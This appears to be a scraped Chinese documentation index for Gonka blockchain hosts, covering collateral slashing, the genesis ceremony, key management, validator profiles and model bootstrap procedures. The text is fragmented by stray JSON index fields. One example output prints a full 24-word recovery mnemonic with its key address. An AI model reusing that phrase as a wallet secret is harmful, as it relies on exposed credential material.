当你提取抵押品时，它将被移入解绑队列。解绑期持续特定数量的纪元（默认为 1 个纪元）。在此期间，抵押品仍面临被罚没的风险。解绑期间的罚没将按比例适用于仍在活跃状态的抵押品以及处于解绑队列中的抵押品。换句话说，提取抵押品并不会立即消除其被罚没的风险。抵押品会一直保有被罚没的可能，直到解绑期结束，资金才会返还至你的账户余额。
解绑期结束后，抵押品将自动返还至你的账户余额。
要查看解绑期（以纪元为单位）：bash curl -s \"$NODE_URL/chain-api/productscience/inference/collateral/params\" | jq '.params.unbonding_period_epochs'要撤回抵押品：bash ./inferenced tx collateral withdraw-collateral <COLLATERAL_SIZE>ngonka \\ --from gonka-account-key \\ --keyring-backend file \\ --node $NODE_URL/chain-rpc/ \\ --chain-id gonka-mainnet查看未绑定的抵押品：bash ./inferenced query collateral show-unbonding-collateral <GONKA_ACCOUNT_ADDRESS> \\ --node $NODE_URL/chain-rpc/或通过 API：bash curl \"$NODE_URL/chain-api/productscience/inference/collateral/unbonding/<GONKA_ACCOUNT_ADDRESS>\"## 斩杀（Slashing）
抵押品可能因以下两个原因被斩杀：
一旦触发斩杀机制，惩罚将按比例应用于以下两部分：
这意味着在解绑期间，抵押品仍然可能被斩杀。在解绑期完全结束且资金已退还至参与者账户余额之前，撤回抵押品并不能使其免受惩罚。
要检查你的抵押品是否因无效推理而被斩杀：bash curl \"$NODE_URL/chain-api/cosmos/tx/v1beta1/txs?query=slash_collateral.participant='<GONKA_ACCOUNT_ADDRESS>'\"要检查您的抵押品是否因停机而被罚没：curl \"$NODE_URL/chain-rpc/block_search?query=\\\"slash_collateral.participant='<GONKA_ACCOUNT_ADDRESS>'\\\"\" curl \"$NODE_URL/chain-rpc/block_results?height=<BLOCK_HEIGHT>\" | jq '.result.finalize_block_events[] | select(.type == \"slash_collateral\")'对于在区块处理期间（如 BeginBlock 阶段）发生的自动惩罚事件（例如被禁用节点 jail），请使用区块搜索 RPC。
首先，找到发生惩罚的区块：bash curl \"$NODE_URL/chain-rpc/block_search?query=\\\"slash_collateral.participant='<GONKA_ACCOUNT_ADDRESS>'\\\"\"然后查询区块结果以查看惩罚详情（将 BLOCK_HEIGHT 替换为上面找到的高度）：bash curl \"$NODE_URL/chain-rpc/block_results?height=<BLOCK_HEIGHT>\" | jq '.result.finalize_block_events[] | select(.type == \"slash_collateral\")'常见问题请参阅抵押品常见问题。
创世仪式是一个协调过程，用于使用预定义的初始验证者集合和商定的 genesis.json 文件来引导 Gonka 区块链。这个仪式很重要，因为它建立了网络的基础安全，确保验证者之间的公平参与，并为区块链创建了一个可验证的起点。
仪式是一个透明且可审计的过程，完全通过 GitHub Pull Requests（PR）管理。核心工作流程很简单：
GENTX 和 GENPARTICIPANT）genesis.json，包含预定的 genesis_time 和记录的哈希值。仪式通过明确定义的阶段进行，以产生可审计的、共享的 genesis.json。所有协作都通过 GitHub PR 进行，以确保完全透明和问责。
genesis.json 哈希，允许每个主机确认他们从完全相同的初始状态开始。 共识 该过程保证所有初始验证者在网络上线前已审查并接受创世状态。"}, {"location": "gonka/docs/zh/host/genesis/#_2", "title": "先决条件", "text": "在参与仪式之前，每个主机（验证者）必须：
Fork Gonka 仓库 到你的 GitHub 账户。
选择一个主机（验证者）名称并创建你的验证者目录：
cp -r genesis/validators/template genesis/validators/<YOUR_VALIDATOR_NAME>\n遵循快速开始指南的本地设置部分。
inferenced CLI、创建你的账户冷密钥和拉取 Docker 镜像。确认准备就绪：
inferenced CLI 已本地安装，你的账户冷密钥已创建。config.env）已配置。仪式遵循 5 阶段流程，用离线、基于 PR 的工作流程替换 quickstart.md 中的链上注册步骤。所有交易文件都在本地生成并提交给协调者进行聚合。
genesis.json 草案供审查GENTX 和 GENPARTICIPANT 文件；打开包含文件的 PRgenesis.json，设置 genesis_timegenesis.json，验证哈希，并在 genesis_time 之前启动节点为了简化过程，仪式的部署脚本将在 Gonka 仓库 的 /deploy/join 目录中。 部署脚本与 quickstart.md 中的标准加入流程相同。在仪式期间，协调者将调整以下环境变量以启用创世特定行为：
INIT_ONLY — 初始化数据目录并准备配置，而不启动完整堆栈GENESIS_SEEDS — 启动时用于初始 P2P 连接的种子节点地址列表IS_GENESIS — 在 compose/scripts 中切换仅创世路径（例如，哈希验证、引导行为）位置：这些变量由协调者在 deploy/join/docker-compose.yml 中设置。验证者不应更改它们。
一旦阶段 5 完成且链已启动，协调者将从仓库中删除上述变量，因为它们不再需要。
工作目录：从 deploy/join 运行所有 docker compose 命令（首先更改目录），或在从仓库根目录运行时显式传递 -f deploy/join/docker-compose.yml。
此阶段镜像 quickstart.md 中的密钥生成步骤，但所有设置都在离线状态下执行以生成仪式文件。账户密钥（冷）已在快速开始期间创建；以下步骤将指导你在服务器上生成 ML 运营密钥（热）。
账户冷密钥在 quickstart.md 期间创建。你可以使用以下命令查看其信息：
./inferenced keys list --keyring-backend file\n示例输出：
Enter keyring passphrase (attempt 1/3):\n- address: gonka1eq4f5p32ewkekf9rv5f0qjsa0xaepckmgl85kr\n name: \"gonka-account-key\"\n pubkey: '{\"@type\":\"/cosmos.crypto.secp256k1.PubKey\",\"key\":\"A4U3G2eY46mwhWx7ZXieT+LetPJhG0jHNuVCQB6wgBZK\"}'\n type: local\ndocker compose run --rm node\n示例输出：
51a9df752b60f565fe061a115b6494782447dc1f\n启动 tmkms 服务以生成共识密钥，然后提取公钥。
docker compose up -d tmkms && docker compose run --rm --entrypoint /bin/sh tmkms -c \"tmkms-pubkey\"\n示例输出：
/wTVavYr5OCiVssIT3Gc5nsfIH0lP1Rqn/zeQtq4CvQ=\n在 api 容器内使用 file 密钥环后端创建热密钥（程序化访问需要）。密钥将存储在映射到容器 /root/.inference 的持久卷中：
注意：$KEY_NAME 和 $KEYRING_PASSWORD 在快速开始 config.env 中定义。
docker compose run --rm --no-deps -it api /bin/sh\n在容器内，创建 ML 运营密钥：
printf '%s\\n%s\\n' \"$KEYRING_PASSWORD\" \"$KEYRING_PASSWORD\" | inferenced keys add \"$KEY_NAME\" --keyring-backend file\n示例输出：
~ # printf '%s\\n%s\\n' \"$KEYRING_PASSWORD\" \"$KEYRING_PASSWORD\" | inferenced keys add \"$KEY_NAME\" --keyring-backend file\n\n- address: gonka1gyz2agg5yx49gy2z4qpsz9826t6s9xev6tkehw\n name: node-702105\n pubkey: '{\"@type\":\"/cosmos.crypto.secp256k1.PubKey\",\"key\":\"Ao8VPh5U5XQBcJ6qxAIwBbhF/3UPZEwzZ9H/qbIA6ipj\"}'\n type: local\n\n\n**重要** 将此助记词短语写在安全的地方。\n如果你忘记密码，这是恢复账户的唯一方法。\n\nagain plastic athlete arrow first measure danger drastic wolf coyote work memory already inmate sorry path tackle custom write result west tray rabbit jeans\n创建或更新 genesis/validators/<YOUR_VALIDATOR_NAME>/README.md，包含以下字段。使用从上述步骤和快速开始收集的值。
Account Public Key: <value of ACCOUNT_PUBKEY from your config.env file>\nNode ID: <node-id-from-step-1.2>\nML Operational Address: <ml-operational-key-address-from-step-1.4>\nConsensus Public Key: <consensus-pubkey-from-step-1.3>\nP2P_EXTERNAL_ADDRESS: <value of P2P_EXTERNAL_ADDRESS from your config.env file>\n向 Gonka 仓库 提交包含你验证者信息的 PR。包含清晰的标题，如\"添加验证者：\"，并确保你的 README.md 文件中填充了所有必需字段。
协调者将：
genesis.json 草案，包括所有账户地址，并将其放置在 genesis/genesis-draft.json 中GENTX 和 GENPARTICIPANT 生成", "text": "此阶段涉及生成链初始化所需的交易文件。这些交易包括：
MsgCreateValidator - 在链上创建你的验证者MsgSubmitNewParticipant - 将你的节点注册为网络主机gentx 命令需要来自前面步骤的以下变量：
<cold_key_name> 本地注册表中的账户冷密钥名称（例如，快速开始中的\"gonka-account-key\"） <YOUR_VALIDATOR_NAME> 在先决条件部分选择的验证者名称 <ml-operational-key-address-from-step-1.4> 步骤 1.4 中的 ML 运营密钥地址 $PUBLIC_URL 来自快速开始 config.env 的环境变量，包含公共 URL <consensus-pubkey-from-step-1.3> 步骤 1.3 中的共识公钥 <node-id-from-step-1.2> 步骤 1.2 中的节点 ID 此自定义 gentx 命令自动创建从你的账户密钥到你的 ML 运营密钥所需的 authz 授权，简化了设置过程。
在生成文件之前，你必须将草案 genesis/genesis-draft.json 复制到存储你账户冷密钥的 config 目录中。这允许 gentx 命令访问你的密钥并针对正确的链配置验证交易。
inferenced 的默认主目录是 ~/.inference。如果你在那里创建了密钥，请使用以下命令：
cp ./genesis/genesis-draft.json ~/.inference/config/genesis.json\nNote
如果你在创建密钥时使用 --home 标志指定了自定义主目录，请确保通过再次提供 --home 标志在 gentx 命令中使用相同的目录。
1ngonka 值表示创世交易的人工共识权重。真正的验证者权重将在第一个计算证明（PoC）阶段确定。
./inferenced genesis gentx \\\n --keyring-backend file \\\n <cold_key_name> 1ngonka \\\n --moniker <YOUR_VALIDATOR_NAME> \\\n --pubkey <consensus-pubkey-from-step-1.3> \\\n --ml-operational-address <ml-operational-key-address-from-step-1.4> \\\n --url $PUBLIC_URL \\\n --chain-id gonka-mainnet \\\n --node-id <node-id-from-step-1.2>\n示例输出：
./inferenced genesis gentx \\\n --home ./702121 \\\n --keyring-backend file \\\n 702121 1ngonka \\\n --pubkey eNrjtkSXzfE18jq3lqvpu/i1iIog9SN+kqR2Wsa6fSM= \\\n --ml-operational-address gonka13xplq68fws3uvs8m7ej2ed5ack9hzpc68fwvex \\\n --url http://36.189.234.237:19238 \\\n --moniker \"mynode-702121\" --chain-id gonka-mainnet \\\n --node-id 149d25924b9a6676448aea716864c31775645459\nEnter keyring passphrase (attempt 1/3):\nClassic genesis transaction written to \"702121/config/gentx/gentx-149d25924b9a6676448aea716864c31775645459.json\"\nGenparticipant transaction written to \"702121/config/genparticipant/genparticipant-149d25924b9a6676448aea716864c31775645459.json\"\n将生成的文件复制到你的验证者目录并创建 PR：
cp ~/.inference/config/gentx/gentx-<node-id>.json genesis/validators/<YOUR_VALIDATOR_NAME>/\ncp ~/.inference/config/genparticipant/genparticipant-<node-id>.json genesis/validators/<YOUR_VALIDATOR_NAME>/\n创建包含以下文件的 PR：
genesis/validators/<YOUR_VALIDATOR_NAME>/gentx-<node-id-from-step-1.2>.jsongenesis/validators/<YOUR_VALIDATOR_NAME>/genparticipant-<node-id-from-step-1.2>.json使用清晰的 PR 标题，如\"为验证者添加 gentx 文件：\"。
"}, {"location": "gonka/docs/zh/host/genesis/#4", "title": "阶段 4. [协调者]：最终创世准备", "text": "一旦所有验证者都提交了他们的交易文件，协调者开始构建官方的 genesis.json。这个关键步骤确保所有初始参与者都正确包含在区块链的状态中，从第一个区块开始。
该过程涉及两个主要命令：
collect-gentxs 命令收集所有 gentx-<node-id>.json 文件，验证它们，并将它们合并到 genesis.json 中以填充初始验证者集合。patch-genesis 命令处理 genparticipant-<node-id>.json 文件，验证它们的签名并修补初始状态以包含所有注册的参与者。合并所有交易后，协调者将 genesis_time 设置为未来的时间戳，确保所有验证者有足够的时间准备同步启动。
最后，协调者将官方的 genesis.json 提交到 genesis/ 目录。然后将此提交的哈希嵌入源代码中，以确保所有节点从相同的验证状态开始。
./inferenced genesis collect-gentxs --gentx-dir gentxs\n./inferenced genesis patch-genesis --genparticipant-dir genparticipants\n协调者通过在 deploy/join/docker-compose.yml 中设置 GENESIS_SEEDS 变量来配置初始网络对等连接。此变量是验证者节点地址的逗号分隔列表，使用每个验证者在各自 README.md 文件中提供的 Node ID 和 P2P_EXTERNAL_ADDRESS 构建。
示例格式：<node-id-1>@<P2P_EXTERNAL_ADDRESS_1>,<node-id-2>@<P2P_EXTERNAL_ADDRESS_2>,...
此外，协调者将 INIT_ONLY 设置为 false，这允许节点在启动时完全启动并连接到网络，而不是仅初始化其数据目录。
随着最终 genesis.json 的发布，验证者必须验证它是否正确生成，并准备他们的节点在指定的 genesis_time 启动。区块链将在此刻开始产生区块。
这些步骤应在你的验证者服务器上执行。
拉取最新配置
从仓库拉取最新更改以获取最终的 genesis.json 和种子节点配置。
git pull\n更新容器镜像
从 deploy/join 目录拉取最新的 Docker 容器镜像。节点镜像使用最终创世哈希构建以进行验证。
source config.env\ndocker compose -f docker-compose.yml -f docker-compose.mlnode.yml pull\n启动你的验证者
最后，启动所有服务。
docker compose -f docker-compose.yml -f docker-compose.mlnode.yml up -d\n启动后，监控你的节点日志以确认它正在等待创世时间：
docker compose logs node -f\n寻找类似这样的消息：
INF Genesis time is in the future. Sleeping until then... genTime=2025-08-14T09:13:39Z module=server\n重要注意事项
api 容器可能在 node 容器完全运行之前重启几次[协调者]：启动后清理
从 docker-compose.yml 配置文件中删除创世特定变量，以过渡到正常操作模式。
如需额外支持，请参阅快速开始指南或加入社区 Discord。
"}, {"location": "gonka/docs/zh/host/hardware-specifications/", "title": "硬件规格", "text": "技术标准：
· GPU 要求： 须采用 NVIDIA Tesla 架构之后的 GPU 系列，且每个 MLNode 节点的可用 GPU 显存总量须 ≥ 320 GB。 · 组合规则： 允许混搭不同型号的 GPU，但前提是整套系统必须能够稳定运行经网络管理委员会批准的大语言模型，并参与概念验证。
NVIDIA GPU 发布日期 VRAM 架构 B300 2025年3月 288 GB HBM3e Blackwell Ultra B200 2024年 192 GB HBM3e Blackwell RTX PRO 6000 2025年3月 96 GB GDDR7 ECC Blackwell H200 2024年 141 GB HBM3e Hopper H100 2022年5月 80 GB HBM3 Hopper A100 80GB 2020年11月 80 GB HBM2e Ampere（注：最终部署方案必须保证物理显存总量满足模型运行需求，并通过网络管理委员会的正式技术审核。）
"}, {"location": "gonka/docs/zh/host/host_info/", "title": "编辑主机公开信息", "text": ""}, {"location": "gonka/docs/zh/host/host_info/#_1", "title": "如何编辑主机公共信息", "text": "本指南介绍如何更新你的主机/验证者资料，包括可读名称、网站和头像/身份标识，以便在区块链浏览器中正确显示相关信息。
"}, {"location": "gonka/docs/zh/host/host_info/#_2", "title": "前提条件", "text": "以下是唯一可设置或编辑的字段。
字段 参数标志 用途 / 显示内容 昵称 (Moniker)--new-moniker 主机/验证者的公开名称，将在浏览器中显示。 网站 (Website) --website 指向主机/验证者网站或项目页面的链接，供委托人了解更多信息。 身份 (Identity) --identity 通常用于提供身份验证证明（例如 Keybase），许多浏览器会利用此信息获取你的头像/标志。你需要从网站下载应用以生成PRP密钥来获取头像。"}, {"location": "gonka/docs/zh/host/host_info/#_4", "title": "分步指南", "text": "如果你还没有PGP密钥，请先运行以下命令。keybase pgp gen??? note \"使用 Keybase 生成 PGP 密钥（keybase pgp gen）\" keybase pgp gen 会为该账户生成一个新的 PGP 密钥。在所有情况下，它都会使用现有的设备密钥对公钥进行签名，并将签名推送到服务器。因此，用户在执行此操作后将拥有一个公开可见的“PGP 设备”。默认情况下，PGP 密钥的私钥部分会被写入用户的本地 Keybase 密钥链，并使用“本地密钥安全”（LKS）协议进行加密。（更多信息，请尝试运行 'keybase help keyring'）。此外，默认情况下，新生成的 PGP 密钥的公钥和私钥部分都会导出到本地 GnuPG 密钥环（如果存在）。你可以指定 --no-export 参数以阻止将新生成的密钥导出到 GnuPG 密钥环。在后续访问私钥时（例如用于 PGP 解密或签名），无需再访问本地 GnuPG 密钥环，Keybase 将直接从其自身的本地密钥链中获取私钥。默认情况下，PGP 私钥的私有部分永远不会导出到本地系统之外，但用户可以通过终端提示选择将加密后的私钥存储在 Keybase 服务器上。
你会看到以下提示：
将新私钥的加密副本推送到 Keybase.io 服务器吗？ 输入 Y 表示“是”。导出到 GnuPG 密钥环时，是否使用密码加密私钥？ 输入 Y 表示“是”，输入 N 表示“否”。如果你已有现有的 PGP 密钥，请运行以下命令将其导入 Keybase。keybase pgp select打开 Keybase 应用，输入您的真实姓名，该姓名将在 explorer 中公开显示。
为您的设备命名（此名称将来无法更改）。
点击左上角的头像，然后点击“查看/编辑个人资料”。
上传您的头像。
复制您的 64 位 PGP 密钥，您在下方命令中的 --identity 参数中需要用到它。
运行以下命令以编辑您的主机/验证者信息。请确保将 cold-key-name、YourNewValidatorName、https://updated.website 和 PGP-64-ID 替换为您自己的值。./inferenced tx staking edit-validator \\ --chain-id=\"gonka-mainnet\" \\ --from <cold-key-name> \\ --new-moniker <YourNewValidatorName> \\ --website <https://updated.website> \\ --identity <PGP-64-ID> \\ --keyring-backend file \\ --node <NODE_URL>/chain-rpc/ \\ --yes发送交易后，请等待交易被包含在区块中，并得到网络确认。 检查您的主机/验证节点信息：./inferenced query staking delegator-validators \\ <cold-key-address> \\ --node <NODE_URL>/chain-rpc/这应显示更新后的名称、网站和身份。
示例输出... validators: - commission: commission_rates: max_change_rate: \"0.010000000000000000\" max_rate: \"0.200000000000000000\" rate: \"0.100000000000000000\" update_time: \"2025-08-27T23:56:24.580275479Z\" consensus_pubkey: type: tendermint/PubKeyEd25519 value: XMTuK2T6ojmAfcDzv5scXtl9QkgYaqwAnnyo7BdLKS4= delegator_shares: \"186.000000000000000000\" description: details: Created after Proof of Compute identity: 673C81B66A67ED67 moniker: gonkavaloper18lluv53n4h9z34qu20vxcvypgdkhsg6n02fcaq website: https://gonka.ai等待浏览器索引新数据（可能需要几分钟到几小时）。然后检查您的浏览器——您的姓名、网站和头像应该会显示出来。
本文档描述了 Gonka 网络的综合密钥管理架构，这是一个去中心化 AI 基础设施，需要通过基于角色的密钥分离来确保强大的安全性。
"}, {"location": "gonka/docs/zh/host/key-management/#_2", "title": "概述", "text": "Gonka 网络实现了基于角色的密钥管理系统，将自动化功能与高风险手动审批分离。此架构确保没有单个密钥控制所有网络操作，提供增强的安全性和操作灵活性。
快速设置
要立即部署，请参阅快速开始指南。本文档重点介绍理解完整的密钥管理架构和安全模型。
"}, {"location": "gonka/docs/zh/host/key-management/#v0", "title": "启动时的密钥架构（v0）", "text": "在网络启动时，主机使用三密钥系统：
密钥类型 用途 存储 算法 使用 账户密钥 主控制与权限 安全本地机器 SECP256K1 手动高风险操作 ML 运营密钥 自动化 AI 交易 服务器加密 SECP256K1 自动化 ML 工作流 共识密钥 区块验证与共识 TMKMS 温存储 ED25519 网络共识参与"}, {"location": "gonka/docs/zh/host/key-management/#_3", "title": "安全模型", "text": ""}, {"location": "gonka/docs/zh/host/key-management/#-", "title": "账户密钥（冷钱包）- 关键", "text": "账户密钥保护
file 或 os 密钥环后端进行安全本地存储硬件钱包支持
ML 运营密钥管理
file 密钥环后端进行基于服务器的存储，支持程序访问运营安全
公司参与者：\n├── 账户密钥 → 安全存储 + 多重签名\n├── ML 运营密钥 → 自动化 AI 工作负载\n├── 治理组 → 协议投票的多重签名\n│ ├── CEO/创始人\n│ ├── CTO/技术负责人 \n│ └── 运营负责人\n└── 财务组（可选）→ 高价值转账的独立多重签名\n ├── CEO/创始人\n ├── CFO/财务负责人\n └── 董事会成员\n生产部署
在生产部署之前，确保你理解完整的密钥管理工作流，并在安全环境中测试了密钥恢复程序。
需要帮助？ 请先查看我们的常见问题页面，或加入我们的Discord 服务器 服务器，以获取关于一般咨询、技术问题或安全相关事项的协助。
"}, {"location": "gonka/docs/zh/host/kimi-bootstrap/", "title": "Kimi K2.6 引导", "text": ""}, {"location": "gonka/docs/zh/host/kimi-bootstrap/#kimi-k26", "title": "Kimi K2.6 启动引导", "text": "moonshotai/Kimi-K2.6 已通过启动引导，并在 Gonka 主网上处于激活状态。以下时间线和交易示例仍有助于理解激活机制以及委托等操作；有关当前部署的默认设置（包括 node-config.json），请参阅主机快速入门指南。
模型组 moonshotai/Kimi-K2.6 在第 251 轮次（Epoch 251）变得具备资格。
本文档说明如何最小化权重减少的风险，无论该模型是否获得足够多的参与者。
Note
启动过程可能持续多个轮次，具体取决于准备就绪的参与者数量。在激活之前，只要参与者明确提交了选择，且准备部署的主机提交了 PoCIntent，就不会发生权重减少。
3873996 之前，所有参与者必须提交：", "text": "- `PoCIntent` - 如果你计划部署 `Kimi-K2.6`。主机应保持节点运行 `Qwen235B`，仅在区块 `3873996` 评估后切换\n- `PoCDelegation` / `PoCRefusal` - 如果你**不**计划部署 `Kimi-K2.6`\n3873996，链上执行预评估，以检查是否应基于 PoCIntent / PoCDelegation 尝试激活模型", "text": "- 如果模型变为预合格状态 => 提交了 `PoCIntent` 的主机应将其模型节点切换为 `Kimi-K2.6`（在此 500 个区块窗口内无 CPoC）\n- 如果模型未变为预合格状态 => 提交了 `PoCIntent` 的主机应继续在 `Qwen235B` 上运行节点\n3874496，PoC 正式开始", "text": ""}, {"location": "gonka/docs/zh/host/kimi-bootstrap/#_2", "title": "可能出现的情况", "text": "新模型的启动可能遵循以下主要场景：
模型在区块 3873996 未通过预评估，且未获得资格
所有提交了 PoCIntent 的用户保留全部权重（无惩罚）
PoCDelegation / PoCRefusal 的用户保留全部权重（无惩罚）=> 明确发送交易以表明你的意图非常重要
模型在区块 3873996 通过预评估，但在 PoC 阶段未获得资格
所有参与 PoC 的用户保留其 Qwen235 的全部权重（无惩罚）
PoCDelegation / PoCRefusal 的用户保留全部权重（无惩罚）PoCIntent 但未实际参与的用户将损失 15% 的权重如果模型通过了两个检查，惩罚机制将遵循文档中描述的常规情况。
"}, {"location": "gonka/docs/zh/host/kimi-bootstrap/#kimi-k26_1", "title": "计划部署 Kimi-K2.6 的主机操作指南", "text": ""}, {"location": "gonka/docs/zh/host/kimi-bootstrap/#1-pocintent", "title": "1. 向链上发送PoCIntent：", "text": "export NODE=https://node3.gonka.ai/\n./inferenced tx inference declare-poc-intent moonshotai/Kimi-K2.6 \\\n --from node-2 \\\n --node \"$NODE\" \\\n --chain-id gonka-mainnet \\\n --keyring-backend file \\\n --gas auto \\\n --gas-adjustment 1.3 \\\n -y\n```#### 2. 检查你的环境设置，确保已下载 `Kimi-K2.6` 权重，并能够成功部署模型\n\n3. 等待区块高度达到 `3873996` 及以上，并检查模型是否变为预合格状态：```bash\nNODE=https://node3.gonka.ai\nMODEL='moonshotai/Kimi-K2.6'\n\nHEIGHT=$(curl -sG \"$NODE/chain-rpc/block_search\" \\\n --data-urlencode \"query=\\\"bootstrap_model_preeligibility.model_id='$MODEL'\\\"\" \\\n | jq -r '[.result.blocks[].block.header.height|tonumber]|max')\n\necho \"Latest snapshot at height $HEIGHT\"\n\ncurl -s \"$NODE/chain-rpc/block_results?height=$HEIGHT\" \\\n | jq --arg m \"$MODEL\" '\n .result.finalize_block_events[]\n | select(.type==\"bootstrap_model_preeligibility\")\n | (.attributes | from_entries) as $a\n | select($a.model_id==$m)\n | $a'\n```结果将发送到所有频道。\n\n#### 4. 如有需要，切换模型为 Kimi-K2.6\n\n在 4xB200 / 8xB200 上部署 Kimi-K2.6 的示例命令：```\ncurl -X POST http://localhost:9200/admin/v1/nodes \\\n -H \"Content-Type: application/json\" \\\n -d '{\n \"id\": \"<NODE_ID>\",\n \"host\": \"<NODE_IP>\",\n \"inference_port\": 5050,\n \"poc_port\": 8080,\n \"max_concurrent\": 500,\n \"models\": {\n \"moonshotai/Kimi-K2.6\": {\n \"args\": [\n \"--tensor-parallel-size\", \"4\",\n \"--enable-expert-parallel\",\n \"--trust-remote-code\",\n \"--mm-encoder-tp-mode\", \"data\",\n \"--tool-call-parser\", \"kimi_k2\",\n \"--reasoning-parser\", \"kimi_k2\",\n \"--attention-backend\", \"FLASHINFER_MLA\",\n \"--disable-custom-all-reduce\",\n \"--gpu-memory-utilization\", \"0.95\",\n \"--max-num-seqs\", \"128\",\n \"--max-model-len\", \"240000\"\n ]\n }\n }\n }'\n```#### 5. 验证您的部署\n\n[`gonka` 代码仓库](https://github.com/gonka-ai/gonka) 提供了一个名为 `mlnode-validate` 的代理技能，可用于将已部署的 ML Node 与特定模型的预计算诚实 PoC 向量进行比对验证。对于 Kimi K2.6 模型，提交的黄金参考文件为 `mlnode/packages/benchmarks/scripts/poc_validation/artifacts/moonshotai-kimi-k2.6.json`（包含 200 个向量；记录于 4×B200 设备上）。详见 [验证 ML Node 部署](./mlnode-validation.md) 和 [`skills/mlnode-validate/SKILL.md`](https://github.com/gonka-ai/gonka/blob/main/skills/mlnode-validate/SKILL.md)。\n\n## 不打算部署 Kimi-K2.6 的主机操作指南\n\n#### 1. 检查您是否信任将要部署 Kimi K2.6 的主机 / 发送 `PoCIntent`\n\n当前的意图列表：```python\nimport time\nimport requests\nfrom requests.adapters import HTTPAdapter\nfrom urllib3.util.retry import Retry\n\nNODE = \"https://node3.gonka.ai\"\nMODEL = \"moonshotai/Kimi-K2.6\"\nTIMEOUT = 60\nDELAY = 0.15\n\ndef session():\n s = requests.Session()\n # Retry transient 5xx (node3 returns 503 for some poc_delegation lookups\n # under load) so a single hiccup does not silently drop a participant\n # from the result.\n retry = Retry(\n total=5,\n backoff_factor=0.5,\n status_forcelist=(502, 503, 504),\n allowed_methods=(\"GET\",),\n )\n s.mount(\"https://\", HTTPAdapter(max_retries=retry))\n s.headers[\"Connection\"] = \"close\"\n return s\n\ndef weight(p):\n # weight may be 0, missing, or literally null — all mean \"no voting weight\".\n return int(p.get(\"weight\") or 0)\n\ndef get_json(s, url):\n r = s.get(url, timeout=TIMEOUT)\n r.raise_for_status()\n return r.json()\n\ns = session()\n\nparticipants = get_json(s, f\"{NODE}/v1/epochs/current/participants\")[\n \"active_participants\"\n][\"participants\"]\n\nintents = []\nwith_kimi_model = []\nskipped = [] # participants whose poc_delegation lookup failed after retries\n\nfor p in participants:\n addr = p[\"index\"]\n w = weight(p)\n if MODEL in (p.get(\"models\") or []):\n with_kimi_model.append((addr, w))\n\n try:\n resp = get_json(\n s,\n f\"{NODE}/chain-api/productscience/inference/inference/poc_delegation/{addr}\",\n )\n except requests.RequestException as e:\n skipped.append((addr, w, str(e)))\n time.sleep(DELAY)\n continue\n\n for i in resp.get(\"intents\") or []:\n if i.get(\"model_id\") == MODEL:\n intents.append((addr, w))\n time.sleep(DELAY)\n\ntotal = sum(weight(p) for p in participants)\nintent_weight = sum(w for _, w in intents)\n\nnonzero_intents = [(a, w) for a, w in intents if w > 0]\nzero_intents = [(a, w) for a, w in intents if w == 0]\n\nprint(f\"Active participants: {len(participants)}\")\nprint(f\"With {MODEL} in models[]: {len(with_kimi_model)} (not same as intent)\")\nprint()\nprint(\"Intent from (PoCDirectIntent on chain):\")\nfor addr, w in nonzero_intents:\n print(f\" {addr} : {w}\")\nif zero_intents:\n print()\n print(\"Zero-weight intents (count toward V_min, contribute 0 to W_threshold):\")\n for addr, _ in zero_intents:\n print(f\" {addr} : 0\")\nprint()\nprint(f\"Intent weight: {intent_weight} / {total}\")\nif total:\n print(f\"Intent share: {100.0 * intent_weight / total:.2f}%\")\nif skipped:\n print()\n print(f\"Skipped {len(skipped)} participants after retries (intent may be undercounted):\")\n for addr, w, err in skipped:\n print(f\" {addr} (weight={w}): {err}\")\n```#### 2. 发送委派或拒绝\n\n委派：```\nexport NODE=https://node3.gonka.ai/chain-rpc/\n./inferenced tx inference set-poc-delegation moonshotai/Kimi-K2.6 <DELEGATEE> \\\n --from gonka-account-key \\\n --node \"$NODE\" \\\n --chain-id gonka-mainnet \\\n --keyring-backend file \\\n --gas auto \\\n --gas-adjustment 1.3 \\\n -y\n```拒绝：```\nexport NODE=https://node3.gonka.ai/chain-rpc/\n./inferenced tx inference refuse-poc-delegation moonshotai/Kimi-K2.6 \\\n --from gonka-account-key \\\n --node \"$NODE\" \\\n --chain-id gonka-mainnet \\\n --keyring-backend file \\\n --gas auto \\\n --gas-adjustment 1.3 \\\n -y\nMiniMaxAI/MiniMax-M2.7（FP8）已在 v0.2.13 升级中作为第三个经治理批准的推理模型加入。本文档说明如何在引导阶段尽量减少权重减少的风险，无论该模型在首次尝试时是否获得足够多的参与者。
有关当前部署默认设置（包括 node-config.json），请参阅主机快速入门。有关多模型 PoC 机制的更广泛背景，请参阅多模型 PoC。先前模型的引导及其机制记录在Kimi K2.6 引导流程中。
Note
引导过程可能持续多个纪元，具体取决于准备就绪的参与者数量。在配置的惩罚纪元之前，只要参与者明确提交了选择，并且计划部署的主机提交了 PoCIntent，就不会发生权重减少。
对未参与 MiniMax-M2.7 的惩罚从 纪元 278 开始。从升级激活后的每个纪元起，链都会尝试引导该模型：在该纪元 PoC 阶段前 500 个区块（即 DeployWindow）内生成一个 BootstrapDelegationSnapshot，根据 V_min = 3 个直接提交者以及占全网总权重 W_threshold 比例且通过 INTENT + DELEGATE 实现 >2/3 可达性的条件进行预资格评估；若满足预资格，则在该纪元启动 MiniMax 的 PoC。
当前 W_threshold 是一个治理参数——应从链上读取该值，而非硬编码（该值已由 GIP-48 从 0.3 降至 0.1，未来可能再次调整）：```bash curl -s \"https://node3.gonka.ai/chain-api/productscience/inference/inference/params\" \\ | jq '.params.delegation_params.w_threshold'
要计算任意给定评估周期的确切区块编号，应以链的当前周期为锚点进行向前推算。`epoch_shift` 参数不能锚定到创世块（由于过去周期长度的变化，该值会过时），因此在主网上使用 `epoch_shift + N * epoch_length` 是错误的——始终应以当前实时的 PoC_start 为锚点。bash NODE=https://node3.gonka.ai
PARAMS=$(curl -s \"$NODE/chain-api/productscience/inference/inference/params\") EPOCH_LENGTH=$(echo \"$PARAMS\" | jq -r '.params.epoch_params.epoch_length | tonumber')
CURRENT=$(curl -s \"$NODE/v1/epochs/current/participants\" | jq '.active_participants') CURRENT_EPOCH=$(echo \"$CURRENT\" | jq -r '.epoch_id') CURRENT_POC_START=$(echo \"$CURRENT\" | jq -r '.poc_start_block_height')
EPOCH=278 # change to any target epoch POC_START=$(( CURRENT_POC_START + (EPOCH - CURRENT_EPOCH) * EPOCH_LENGTH )) SNAPSHOT_BLOCK=$(( POC_START - 500 ))
echo \"Epoch $EPOCH (current $CURRENT_EPOCH): snapshot at block $SNAPSHOT_BLOCK, PoC starts at block $POC_START\" ```当参与的节点及其委托满足门槛要求时，MiniMax 将在最早的 epoch 获得预资格。
